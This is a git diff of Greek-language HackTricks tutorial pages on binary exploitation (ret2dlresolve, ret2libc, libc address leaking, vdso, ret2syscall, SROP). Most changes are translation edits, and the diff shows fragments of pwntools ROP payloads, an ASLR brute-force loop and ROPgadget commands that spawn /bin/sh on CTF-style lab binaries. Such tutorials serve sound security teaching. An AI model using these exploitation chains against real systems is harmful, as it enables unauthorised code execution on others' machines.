Συνήθως, όλες αυτές οι δομές ψευδίζονται κάνοντας μια **αρχική αλυσίδα ROP που καλεί `read`** σε μια εγγράψιμη μνήμη, στη συνέχεια οι **δομές** και η συμβολοσειρά **`'/bin/sh'`** περνιούνται ώστε να αποθηκευτούν από την `read` σε μια γνωστή τοποθεσία, και στη συνέχεια η αλυσίδα ROP συνεχίζεται καλώντας **`_dl_runtime_resolve`**, κάνοντάς την να **επιλύσει τη διεύθυνση του `system`** στις ψευδείς δομές και **καλώντας αυτή τη διεύθυνση** με τη διεύθυνση του `$'/bin/sh'`.
> [!TIP]
> Αυτή η τεχνική είναι χρήσιμη ειδικά αν δεν υπάρχουν gadgets syscall (για να χρησιμοποιηθούν τεχνικές όπως [**ret2syscall**](rop-syscall-execv/index.html) ή [SROP](srop-sigreturn-oriented-programming/index.html)) και δεν υπάρχουν τρόποι να διαρρεύσουν διευθύνσεις libc.
@ -21,7 +21,7 @@
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
Ή δείτε αυτές τις σελίδες για μια βήμα-βήμα εξήγηση:
Ή ελέγξτε αυτές τις σελίδες για μια βήμα-βήμα εξήγηση:
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
@ -29,7 +29,7 @@ https://youtu.be/ADULSwnQs-s?feature=shared
## Attack Summary
1. Γράψτε ψευδείς δομές σε κάποια τοποθεσία
2. Ρυθμίστε το πρώτο επιχείρημα της `system` (`$rdi = &'/bin/sh'`)
2. Ρυθμίστε το πρώτο επιχείρημα του system (`$rdi = &'/bin/sh'`)
3. Ρυθμίστε στη στοίβα τις διευθύνσεις στις δομές για να καλέσετε **`_dl_runtime_resolve`**
4. **Καλέστε** `_dl_runtime_resolve`
5. **`system`** θα επιλυθεί και θα κληθεί με `'/bin/sh'` ως επιχείρημα
@ -56,9 +56,9 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
```
## Παράδειγμα
### Καθαρό Pwntools
### Pure Pwntools
Μπορείτε να βρείτε ένα [**παράδειγμα αυτής της τεχνικής εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **που περιέχει μια πολύ καλή εξήγηση της τελικής αλυσίδας ROP**, αλλά εδώ είναι η τελική εκμετάλλευση που χρησιμοποιήθηκε:
You can find an [**example of this technique here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **containing a very good explanation of the final ROP chain**, but here is the final exploit used:
```python
from pwn import *
@ -188,6 +188,6 @@ target.interactive()
- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
- 32bit, χωρίς relro, χωρίς canary, nx, χωρίς pie, βασική μικρή υπερχείλιση buffer και επιστροφή. Για να το εκμεταλλευτεί, η bof χρησιμοποιείται για να καλέσει ξανά το `read` με μια ενότητα `.bss` και μεγαλύτερο μέγεθος, για να αποθηκεύσει εκεί τους ψεύτικους πίνακες `dlresolve` για να φορτώσει το `system`, επιστρέφει στο main και επαναχρησιμοποιεί την αρχική bof για να καλέσει το dlresolve και στη συνέχεια `system('/bin/sh')`.
- 32bit, χωρίς relro, χωρίς canary, nx, χωρίς pie, βασικό μικρό buffer overflow και επιστροφή. Για να το εκμεταλλευτεί, το bof χρησιμοποιείται για να καλέσει ξανά το `read` με μια ενότητα `.bss` και μεγαλύτερο μέγεθος, για να αποθηκεύσει εκεί τους ψεύτικους πίνακες `dlresolve` για να φορτώσει το `system`, επιστρέφει στο main και επαναχρησιμοποιεί το αρχικό bof για να καλέσει το dlresolve και στη συνέχεια `system('/bin/sh')`.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## **Βασικές Πληροφορίες**
Η ουσία του **Ret2Libc** είναι να ανακατευθύνει τη ροή εκτέλεσης ενός ευάλωτου προγράμματος σε μια συνάρτηση μέσα σε μια κοινή βιβλιοθήκη (π.χ., **system**, **execve**, **strcpy**) αντί να εκτελεί τον κώδικα που παρέχεται από τον επιτιθέμενο στο στοίβα. Ο επιτιθέμενος δημιουργεί ένα payload που τροποποιεί τη διεύθυνση επιστροφής στη στοίβα ώστε να δείχνει στη συνάρτηση της βιβλιοθήκης που επιθυμεί, ενώ ταυτόχρονα φροντίζει ώστε οποιαδήποτε απαραίτητα επιχειρήματα να είναι σωστά ρυθμισμένα σύμφωνα με τη σύμβαση κλήσης.
Η ουσία του **Ret2Libc** είναι να ανακατευθύνει τη ροή εκτέλεσης ενός ευάλωτου προγράμματος σε μια συνάρτηση εντός μιας κοινής βιβλιοθήκης (π.χ., **system**, **execve**, **strcpy**) αντί να εκτελεί τον κώδικα που παρέχεται από τον επιτιθέμενο στο στοίβασμα. Ο επιτιθέμενος δημιουργεί ένα payload που τροποποιεί τη διεύθυνση επιστροφής στο στοίβασμα ώστε να δείχνει στη συνάρτηση της επιθυμητής βιβλιοθήκης, ενώ ταυτόχρονα φροντίζει ώστε οποιαδήποτε απαραίτητα επιχειρήματα να είναι σωστά ρυθμισμένα σύμφωνα με τη σύμβαση κλήσης.
### **Παράδειγμα Βημάτων (απλοποιημένο)**
@ -49,7 +49,8 @@ find "/bin/sh"
## Άγνωστο libc
Είναι πιθανό να **δεν γνωρίζετε το libc που φορτώνει το δυαδικό αρχείο** (γιατί μπορεί να βρίσκεται σε έναν διακομιστή όπου δεν έχετε πρόσβαση). Σε αυτή την περίπτωση μπορείτε να εκμεταλλευτείτε την ευπάθεια για να **διαρρεύσετε κάποιες διευθύνσεις και να βρείτε ποια βιβλιοθήκη libc** χρησιμοποιείται:
Είναι πιθανό να **δεν γνωρίζετε ποιο libc φορτώνει το δυαδικό αρχείο** (γιατί μπορεί να βρίσκεται σε έναν διακομιστή όπου δεν έχετε πρόσβαση). Σε αυτή την περίπτωση μπορείτε να εκμεταλλευτείτε την ευπάθεια για να **διαρρεύσετε κάποιες διευθύνσεις και να βρείτε ποια βιβλιοθήκη libc** χρησιμοποιείται:
{{#ref}}
rop-leaking-libc-address/
@ -57,6 +58,7 @@ rop-leaking-libc-address/
Και μπορείτε να βρείτε ένα πρότυπο pwntools γι' αυτό στο:
{{#ref}}
rop-leaking-libc-address/rop-leaking-libc-template.md
{{#endref}}
@ -73,7 +75,7 @@ rop-leaking-libc-address/rop-leaking-libc-template.md
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
- Αν επιτίθεστε σε έναν απομακρυσμένο διακομιστή, μπορείτε να προσπαθήσετε να **σπάσετε τη διεύθυνση της συνάρτησης `libc` `usleep`**, περνώντας ως επιχείρημα 10 (για παράδειγμα). Αν σε κάποιο σημείο ο **διακομιστής χρειαστεί 10 δευτερόλεπτα επιπλέον για να απαντήσει**, βρήκατε τη διεύθυνση αυτής της συνάρτησης.
- Αν επιτίθεστε σε έναν απομακρυσμένο διακομιστή, μπορείτε να προσπαθήσετε να **σπάσετε τη διεύθυνση της συνάρτησης `libc` `usleep`**, περνώντας ως επιχείρημα 10 (για παράδειγμα). Αν σε κάποιο σημείο ο **διακομιστής καθυστερήσει 10 δευτερόλεπτα να απαντήσει**, βρήκατε τη διεύθυνση αυτής της συνάρτησης.
## One Gadget
@ -85,7 +87,7 @@ one-gadget.md
## x86 Ret2lib Code Example
Σε αυτό το παράδειγμα, η brute-force ASLR είναι ενσωματωμένη στον κώδικα και το ευάλωτο δυαδικό αρχείο βρίσκεται σε έναν απομακρυσμένο διακομιστή:
Σε αυτό το παράδειγμα, η βίαιη σάρωση ASLR είναι ενσωματωμένη στον κώδικα και το ευάλωτο δυαδικό αρχείο βρίσκεται σε έναν απομακρυσμένο διακομιστή:
```python
from pwn import *
@ -105,18 +107,20 @@ c.interactive()
Δείτε το παράδειγμα από:
{{#ref}}
../
{{#endref}}
## ARM64 Ret2lib Example
Στην περίπτωση του ARM64, η εντολή ret πηγαίνει εκεί που δείχνει το x30 registry και όχι εκεί που δείχνει το stack registry. Έτσι είναι λίγο πιο περίπλοκο.
Στην περίπτωση του ARM64, η εντολή ret πηγαίνει εκεί που δείχνει το μητρώο x30 και όχι εκεί που δείχνει το μητρώο στοίβας. Έτσι είναι λίγο πιο περίπλοκο.
Επίσης στο ARM64, μια εντολή κάνει αυτό που κάνει η εντολή (δεν είναι δυνατόν να πηδήξεις στη μέση των εντολών και να τις μετατρέψεις σε νέες).
Επίσης, στο ARM64, μια εντολή κάνει αυτό που κάνει η εντολή (δεν είναι δυνατόν να πηδήξουμε στη μέση των εντολών και να τις μετατρέψουμε σε νέες).
Δείτε το παράδειγμα από:
{{#ref}}
ret2lib-+-printf-leak-arm64.md
{{#endref}}
@ -127,7 +131,8 @@ ret2lib-+-printf-leak-arm64.md
## Ret2printf
Αυτό σημαίνει βασικά την κακή χρήση ενός **Ret2lib για να το μετατρέψει σε μια ευπάθεια μορφοποίησης συμβολοσειρών `printf`** χρησιμοποιώντας το `ret2lib` για να καλέσει το printf με τις τιμές για να το εκμεταλλευτεί (ακούγεται άχρηστο αλλά είναι δυνατό):
Αυτό σημαίνει βασικά την κατάχρηση ενός **Ret2lib για να το μετατρέψουμε σε μια ευπάθεια μορφοποίησης συμβολοσειρών `printf`** χρησιμοποιώντας το `ret2lib` για να καλέσουμε το printf με τις τιμές για να το εκμεταλλευτούμε (ακούγεται άχρηστο αλλά είναι δυνατό):
{{#ref}}
../../format-strings/
@ -136,16 +141,16 @@ ret2lib-+-printf-leak-arm64.md
## Other Examples & references
- [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
- Ret2lib, δεδομένης μιας διαρροής στη διεύθυνση μιας συνάρτησης στη libc, χρησιμοποιώντας ένα gadget
- Ret2lib, που δίνει μια διαρροή στη διεύθυνση μιας συνάρτησης στη libc, χρησιμοποιώντας ένα gadget
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR ενεργοποιημένο αλλά χωρίς PIE, το πρώτο βήμα είναι να γεμίσει μια υπερχείλιση μέχρι το byte 0x00 του canary για να καλέσει στη συνέχεια το puts και να το διαρρεύσει. Με το canary δημιουργείται ένα ROP gadget για να καλέσει το puts για να διαρρεύσει τη διεύθυνση του puts από το GOT και ένα ROP gadget για να καλέσει `system('/bin/sh')`
- 64 bit, ενεργοποιημένο ASLR αλλά χωρίς PIE, το πρώτο βήμα είναι να γεμίσετε μια υπερχείλιση μέχρι το byte 0x00 του καναριού για να καλέσετε στη συνέχεια το puts και να το διαρρεύσετε. Με το καναρί, δημιουργείται ένα ROP gadget για να καλέσει το puts για να διαρρεύσει τη διεύθυνση του puts από το GOT και ένα ROP gadget για να καλέσει `system('/bin/sh')`
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- 64 bits, ASLR ενεργοποιημένο, χωρίς canary, stack overflow στο main από μια παιδική συνάρτηση. ROP gadget για να καλέσει το puts για να διαρρεύσει τη διεύθυνση του puts από το GOT και στη συνέχεια να καλέσει ένα gadget.
- 64 bits, ενεργοποιημένο ASLR, χωρίς καναρί, υπερχείλιση στοίβας από μια παιδική συνάρτηση. ROP gadget για να καλέσει το puts για να διαρρεύσει τη διεύθυνση του puts από το GOT και στη συνέχεια να καλέσει ένα gadget.
- [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html)
- 64 bits, χωρίς pie, χωρίς canary, χωρίς relro, nx. Χρησιμοποιεί τη συνάρτηση write για να διαρρεύσει τη διεύθυνση του write (libc) και καλεί ένα gadget.
- 64 bits, χωρίς pie, χωρίς καναρί, χωρίς relro, nx. Χρησιμοποιεί τη συνάρτηση write για να διαρρεύσει τη διεύθυνση του write (libc) και καλεί ένα gadget.
- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
- Χρησιμοποιεί μια μορφή συμβολοσειράς για να διαρρεύσει το canary από το stack και μια υπερχείλιση buffer για να καλέσει το system (είναι στο GOT) με τη διεύθυνση του `/bin/sh`.
- Χρησιμοποιεί μια μορφή συμβολοσειράς για να διαρρεύσει το καναρί από τη στοίβα και μια υπερχείλιση buffer για να καλέσει το system (είναι στο GOT) με τη διεύθυνση του `/bin/sh`.
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
- 32 bit, χωρίς relro, χωρίς canary, nx, pie. Κακή ευρετηρίαση για να διαρρεύσει διευθύνσεις της libc και του heap από το stack. Κακή χρήση της υπερχείλισης buffer για να κάνει ένα ret2lib καλώντας `system('/bin/sh')` (η διεύθυνση του heap είναι απαραίτητη για να παρακαμφθεί μια έλεγχο).
- 32 bit, χωρίς relro, χωρίς καναρί, nx, pie. Κατάχρηση κακής ευρετηρίασης για να διαρρεύσουν διευθύνσεις της libc και της heap από τη στοίβα. Κατάχρηση της υπερχείλισης buffer για να κάνετε ένα ret2lib καλώντας `system('/bin/sh')` (η διεύθυνση της heap είναι απαραίτητη για να παρακάμψετε έναν έλεγχο).
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -36,6 +36,7 @@ gcc -o vuln vuln.c -fno-stack-protector -no-pie
Κατεβάστε το exploit και τοποθετήστε το στον ίδιο φάκελο με το ευάλωτο δυαδικό αρχείο και δώστε τα απαραίτητα δεδομένα στο σενάριο:
{{#ref}}
rop-leaking-libc-template.md
{{#endref}}
@ -123,26 +124,26 @@ p.interactive()
```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```
Αυτό θα στείλει μερικά bytes μέχρι να είναι δυνατή η **επικάλυψη** του **RIP**: `OFFSET`.\
Στη συνέχεια, θα ρυθμίσει τη **διεύθυνση** του gadget `POP_RDI` έτσι ώστε η επόμενη διεύθυνση (`FUNC_GOT`) να αποθηκευτεί στο μητρώο **RDI**. Αυτό συμβαίνει επειδή θέλουμε να **καλέσουμε το puts** **περνώντας** τη **διεύθυνση** του `PUTS_GOT` καθώς η διεύθυνση στη μνήμη της συνάρτησης puts αποθηκεύεται στη διεύθυνση που δείχνει το `PUTS_GOT`.\
Αυτό θα στείλει μερικά bytes μέχρι να είναι **δυνατό** το **overwriting** του **RIP**: `OFFSET`.\
Στη συνέχεια, θα ρυθμίσει τη **διεύθυνση** του gadget `POP_RDI` έτσι ώστε η επόμενη διεύθυνση (`FUNC_GOT`) να αποθηκευτεί στο **RDI** registry. Αυτό συμβαίνει επειδή θέλουμε να **καλέσουμε το puts** **περνώντας** τη **διεύθυνση** του `PUTS_GOT` καθώς η διεύθυνση στη μνήμη της συνάρτησης puts αποθηκεύεται στη διεύθυνση που δείχνει το `PUTS_GOT`.\
Μετά από αυτό, θα κληθεί το `PUTS_PLT` (με το `PUTS_GOT` μέσα στο **RDI**) έτσι ώστε το puts να **διαβάσει το περιεχόμενο** μέσα στο `PUTS_GOT` (**η διεύθυνση της συνάρτησης puts στη μνήμη**) και θα **το εκτυπώσει**.\
Τέλος, **η κύρια συνάρτηση καλείται ξανά** ώστε να μπορέσουμε να εκμεταλλευτούμε την υπερχείλιση ξανά.
Με αυτόν τον τρόπο έχουμε **παγιδεύσει τη συνάρτηση puts** να **εκτυπώσει** τη **διεύθυνση** στη **μνήμη** της συνάρτησης **puts** (η οποία είναι μέσα στη βιβλιοθήκη **libc**). Τώρα που έχουμε αυτή τη διεύθυνση, μπορούμε να **αναζητήσουμε ποια έκδοση libc χρησιμοποιείται**.
Με αυτόν τον τρόπο έχουμε **παγιδεύσει τη συνάρτηση puts** να **εκτυπώσει** τη **διεύθυνση** στη **μνήμη** της συνάρτησης **puts** (η οποία είναι μέσα στη βιβλιοθήκη **libc**). Τώρα που έχουμε αυτή τη διεύθυνση, μπορούμε να **αναζητήσουμε ποια έκδοση της libc χρησιμοποιείται**.
![](<../../../../images/image (1049).png>)
Καθώς **εκμεταλλευόμαστε** κάποιο **τοπικό** δυαδικό, **δεν είναι απαραίτητο** να καταλάβουμε ποια έκδοση της **libc** χρησιμοποιείται (απλώς βρείτε τη βιβλιοθήκη στο `/lib/x86_64-linux-gnu/libc.so.6`).\
Καθώς **εκμεταλλευόμαστε** κάποιο **τοπικό** δυαδικό, **δεν είναι απαραίτητο** να καταλάβουμε ποια έκδοση της **libc** χρησιμοποιείται (απλά βρείτε τη βιβλιοθήκη στο `/lib/x86_64-linux-gnu/libc.so.6`).\
Αλλά, σε περίπτωση απομακρυσμένης εκμετάλλευσης, θα εξηγήσω εδώ πώς μπορείτε να το βρείτε:
### 3.1- Αναζητώντας την έκδοση libc (1)
### 3.1- Αναζητώντας την έκδοση της libc (1)
Μπορείτε να αναζητήσετε ποια βιβλιοθήκη χρησιμοποιείται στη σελίδα: [https://libc.blukat.me/](https://libc.blukat.me)\
Θα σας επιτρέψει επίσης να κατεβάσετε την ανακαλυφθείσα έκδοση της **libc**
![](<../../../../images/image (221).png>)
### 3.2- Αναζητώντας την έκδοση libc (2)
### 3.2- Αναζητώντας την έκδοση της libc (2)
Μπορείτε επίσης να κάνετε:
@ -154,7 +155,7 @@ rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
Για να λειτουργήσει αυτό, χρειαζόμαστε:
- Όνομα συμβόλου libc: `puts`
- Διεύθυνση libc που διαρρέει: `0x7ff629878690`
- Διεύθυνση libc που έχει διαρρεύσει: `0x7ff629878690`
Μπορούμε να καταλάβουμε ποια **libc** είναι πιο πιθανό να χρησιμοποιείται.
```bash
@ -195,7 +196,7 @@ if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
```
> [!NOTE]
> [!TIP]
> Σημειώστε ότι **η τελική διεύθυνση βάσης της libc πρέπει να τελειώνει σε 00**. Αν αυτό δεν ισχύει για εσάς, μπορεί να έχετε διαρρεύσει μια λανθασμένη βιβλιοθήκη.
Στη συνέχεια, η διεύθυνση της συνάρτησης `system` και η **διεύθυνση** της συμβολοσειράς _"/bin/sh"_ θα υπολογιστούν από τη **διεύθυνση βάσης** της **libc** και θα δοθούν τη **βιβλιοθήκη libc.**
@ -218,8 +219,8 @@ p.sendline(rop2)
p.interactive() #Interact with the conenction
```
Ας εξηγήσουμε αυτό το τελικό ROP.\
Το τελευταίο ROP (`rop1`) καλέστηκε ξανά η κύρια συνάρτηση, οπότε μπορούμε να **εκμεταλλευτούμε ξανά** την **υπερχείλιση** (γι' αυτό ο `OFFSET` είναι εδώ ξανά). Στη συνέχεια, θέλουμε να καλέσουμε το `POP_RDI` δείχνοντας στη **διεύθυνση** του _"/bin/sh"_ (`BINSH`) και να καλέσουμε τη συνάρτηση **system** (`SYSTEM`) επειδή η διεύθυνση του _"/bin/sh"_ θα περαστεί ως παράμετρος.\
Τέλος, η **διεύθυνση της συνάρτησης εξόδου** **καλείται** ώστε η διαδικασία να **τερματίσει ομαλά** και να μην παραχθεί καμία ειδοποίηση.
Το τελευταίο ROP (`rop1`) καλέστηκε ξανά η κύρια συνάρτηση, οπότε μπορούμε να **εκμεταλλευτούμε ξανά** την **υπερχείλιση** (γι' αυτό ο `OFFSET` είναι εδώ ξανά). Στη συνέχεια, θέλουμε να καλέσουμε `POP_RDI` δείχνοντας στη **διεύθυνση** του _"/bin/sh"_ (`BINSH`) και να καλέσουμε τη συνάρτηση **system** (`SYSTEM`) επειδή η διεύθυνση του _"/bin/sh"_ θα περαστεί ως παράμετρος.\
Τέλος, η **διεύθυνση της συνάρτησης εξόδου** καλείται ώστε η διαδικασία να **τερματίσει ομαλά** και να μην παραχθεί καμία ειδοποίηση.
**Με αυτόν τον τρόπο, η εκμετάλλευση θα εκτελέσει ένα _/bin/sh_ shell.**
@ -227,8 +228,8 @@ p.interactive() #Interact with the conenction
## 4(2)- Χρησιμοποιώντας το ONE_GADGET
Μπορείτε επίσης να χρησιμοποιήσετε [**ONE_GADGET** ](https://github.com/david942j/one_gadget) για να αποκτήσετε ένα shell αντί να χρησιμοποιήσετε τη **system** και το **"/bin/sh". ONE_GADGET** θα βρει μέσα στη βιβλιοθήκη libc κάποιον τρόπο για να αποκτήσει ένα shell χρησιμοποιώντας μόνο μία **διεύθυνση ROP**.\
Ωστόσο, συνήθως υπάρχουν κάποιες περιορισμοί, οι πιο κοινοί και εύκολοι να αποφευχθούν είναι όπως `[rsp+0x30] == NULL` Καθώς ελέγχετε τις τιμές μέσα στο **RSP** απλώς πρέπει να στείλετε μερικές ακόμα NULL τιμές ώστε να αποφευχθεί ο περιορισμός.
Μπορείτε επίσης να χρησιμοποιήσετε [**ONE_GADGET** ](https://github.com/david942j/one_gadget) για να αποκτήσετε ένα shell αντί να χρησιμοποιήσετε **system** και **"/bin/sh". ONE_GADGET** θα βρει μέσα στη βιβλιοθήκη libc κάποιον τρόπο για να αποκτήσει ένα shell χρησιμοποιώντας μόνο μία **διεύθυνση ROP**.\
Ωστόσο, συνήθως υπάρχουν κάποιους περιορισμοί, οι πιο κοινοί και εύκολοι να αποφευχθούν είναι όπως `[rsp+0x30] == NULL`. Καθώς ελέγχετε τις τιμές μέσα στο **RSP**, απλώς πρέπει να στείλετε μερικές ακόμη NULL τιμές ώστε να αποφευχθεί ο περιορισμός.
![](<../../../../images/image (754).png>)
```python

View File

@ -52,11 +52,12 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
```
> [!CAUTION]
> Σημειώστε λοιπόν πώς μπορεί να είναι δυνατό να **παρακαμφθεί το ASLR εκμεταλλευόμενοι το vdso** αν ο πυρήνας έχει μεταγλωττιστεί με το CONFIG_COMPAT_VDSO, καθώς η διεύθυνση vdso δεν θα είναι τυχαία: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
> Σημειώστε λοιπόν πώς μπορεί να είναι δυνατό να **παρακαμφθεί το ASLR εκμεταλλευόμενοι το vdso** αν ο πυρήνας έχει μεταγλωττιστεί με το CONFIG_COMPAT_VDSO, καθώς η διεύθυνση του vdso δεν θα είναι τυχαία: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
### ARM64
Μετά την εξαγωγή και τον έλεγχο της ενότητας vdso ενός δυαδικού αρχείου στο kali 2023.2 arm64, δεν μπόρεσα να βρω εκεί κανένα ενδιαφέρον gadget (κανένας τρόπος να ελέγξω τους καταχωρητές από τις τιμές στη στοίβα ή να ελέγξω το x30 για μια επιστροφή) **εκτός από έναν τρόπο να καλέσω ένα SROP**. Δείτε περισσότερες πληροφορίες στο παράδειγμα από τη σελίδα:
Μετά την εξαγωγή και τον έλεγχο της ενότητας vdso ενός δυαδικού αρχείου σε kali 2023.2 arm64, δεν μπόρεσα να βρω εκεί κανένα ενδιαφέρον gadget (κανένας τρόπος να ελέγξω τους καταχωρητές από τιμές στη στοίβα ή να ελέγξω το x30 για μια επιστροφή) **εκτός από έναν τρόπο να καλέσω ένα SROP**. Δείτε περισσότερες πληροφορίες στο παράδειγμα από τη σελίδα:
{{#ref}}
srop-sigreturn-oriented-programming/srop-arm64.md

View File

@ -13,7 +13,7 @@
- `rsi: 0 specify no arguments passed`
- `rdx: 0 specify no environment variables passed`
Έτσι, βασικά χρειάζεται να γράψουμε τη συμβολοσειρά `/bin/sh` κάπου και στη συνέχεια να εκτελέσουμε το `syscall` (έχοντας υπόψη την padding που χρειάζεται για τον έλεγχο της στοίβας). Για αυτό, χρειαζόμαστε ένα gadget για να γράψουμε το `/bin/sh` σε μια γνωστή περιοχή.
Έτσι, βασικά χρειάζεται να γράψουμε τη συμβολοσειρά `/bin/sh` κάπου και στη συνέχεια να εκτελέσουμε το `syscall` (έχοντας υπόψη την padding που απαιτείται για τον έλεγχο της στοίβας). Για αυτό, χρειαζόμαστε ένα gadget για να γράψουμε το `/bin/sh` σε μια γνωστή περιοχή.
> [!TIP]
> Ένα άλλο ενδιαφέρον syscall για κλήση είναι το **`mprotect`** το οποίο θα επέτρεπε σε έναν επιτιθέμενο να **τροποποιήσει τις άδειες μιας σελίδας στη μνήμη**. Αυτό μπορεί να συνδυαστεί με [**ret2shellcode**](../../stack-overflow/stack-shellcode/index.html).
@ -52,7 +52,7 @@ mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
```
### Αυτοματοποίηση αλυσίδας ROP
Η παρακάτω εντολή δημιουργεί μια πλήρη αλυσίδα ROP `sys_execve` δεδομένου ενός στατικού δυαδικού αρχείου όταν υπάρχουν gadgets write-what-where και εντολές syscall:
Η παρακάτω εντολή δημιουργεί μια πλήρη αλυσίδα ROP `sys_execve` δεδομένου ενός στατικού δυαδικού αρχείου όταν υπάρχουν gadgets write-what-where και οδηγίες syscall:
```bash
ROPgadget --binary vuln --ropchain
```
@ -98,6 +98,7 @@ rop += writeGadget #Address to: mov qword ptr [rax], rdx
Αν **λείπουν gadgets**, για παράδειγμα για να γράψετε `/bin/sh` στη μνήμη, μπορείτε να χρησιμοποιήσετε την **τεχνική SROP για να ελέγξετε όλες τις τιμές των καταχωρητών** (συμπεριλαμβανομένων των RIP και των καταχωρητών παραμέτρων) από τη στοίβα:
{{#ref}}
../srop-sigreturn-oriented-programming/
{{#endref}}

View File

@ -39,7 +39,7 @@ clang -o ret2win ret2win.c -fno-stack-protector
```
## Gadgets
Για να προετοιμάσετε την κλήση για το **syscall**, απαιτείται η εξής διαμόρφωση:
Για να προετοιμαστεί η κλήση για το **syscall** απαιτείται η εξής διαμόρφωση:
- `x8: 221 Specify sys_execve`
- `x0: ptr to "/bin/sh" specify file to execute`
@ -66,9 +66,9 @@ svc #0
Με τα προηγούμενα gadgets μπορούμε να ελέγξουμε όλους τους απαραίτητους καταχωρητές από τη στοίβα και να χρησιμοποιήσουμε το x5 για να μεταβούμε στο δεύτερο gadget για να καλέσουμε το syscall.
> [!TIP]
> Σημειώστε ότι η γνώση αυτής της πληροφορίας από τη βιβλιοθήκη libc επιτρέπει επίσης την εκτέλεση μιας επίθεσης ret2libc, αλλά ας το χρησιμοποιήσουμε για αυτό το τρέχον παράδειγμα.
> Σημειώστε ότι η γνώση αυτής της πληροφορίας από τη βιβλιοθήκη libc επιτρέπει επίσης να γίνει μια επίθεση ret2libc, αλλά ας τη χρησιμοποιήσουμε για αυτό το τρέχον παράδειγμα.
### Εκμετάλλευση
### Exploit
```python
from pwn import *

View File

@ -6,20 +6,21 @@
**`Sigreturn`** είναι μια ειδική **syscall** που χρησιμοποιείται κυρίως για να καθαρίσει μετά την ολοκλήρωση της εκτέλεσης ενός χειριστή σήματος. Τα σήματα είναι διακοπές που αποστέλλονται σε ένα πρόγραμμα από το λειτουργικό σύστημα, συχνά για να υποδείξουν ότι έχει συμβεί κάποια εξαιρετική κατάσταση. Όταν ένα πρόγραμμα λαμβάνει ένα σήμα, σταματά προσωρινά την τρέχουσα εργασία του για να χειριστεί το σήμα με έναν **χειριστή σήματος**, μια ειδική συνάρτηση σχεδιασμένη να ασχολείται με τα σήματα.
Αφού ο χειριστής σήματος ολοκληρώσει, το πρόγραμμα πρέπει να **επανέλθει στην προηγούμενη κατάσταση** του σαν να μην είχε συμβεί τίποτα. Εδώ έρχεται στο παιχνίδι το **`sigreturn`**. Βοηθά το πρόγραμμα να **επιστρέψει από τον χειριστή σήματος** και αποκαθιστά την κατάσταση του προγράμματος καθαρίζοντας το stack frame (την ενότητα μνήμης που αποθηκεύει κλήσεις συναρτήσεων και τοπικές μεταβλητές) που χρησιμοποιήθηκε από τον χειριστή σήματος.
Αφού ο χειριστής σήματος ολοκληρωθεί, το πρόγραμμα πρέπει να **επανέλθει στην προηγούμενη κατάσταση** του σαν να μην είχε συμβεί τίποτα. Εδώ έρχεται στο παιχνίδι το **`sigreturn`**. Βοηθά το πρόγραμμα να **επιστρέψει από τον χειριστή σήματος** και αποκαθιστά την κατάσταση του προγράμματος καθαρίζοντας το πλαίσιο στοίβας (το τμήμα μνήμης που αποθηκεύει κλήσεις συναρτήσεων και τοπικές μεταβλητές) που χρησιμοποιήθηκε από τον χειριστή σήματος.
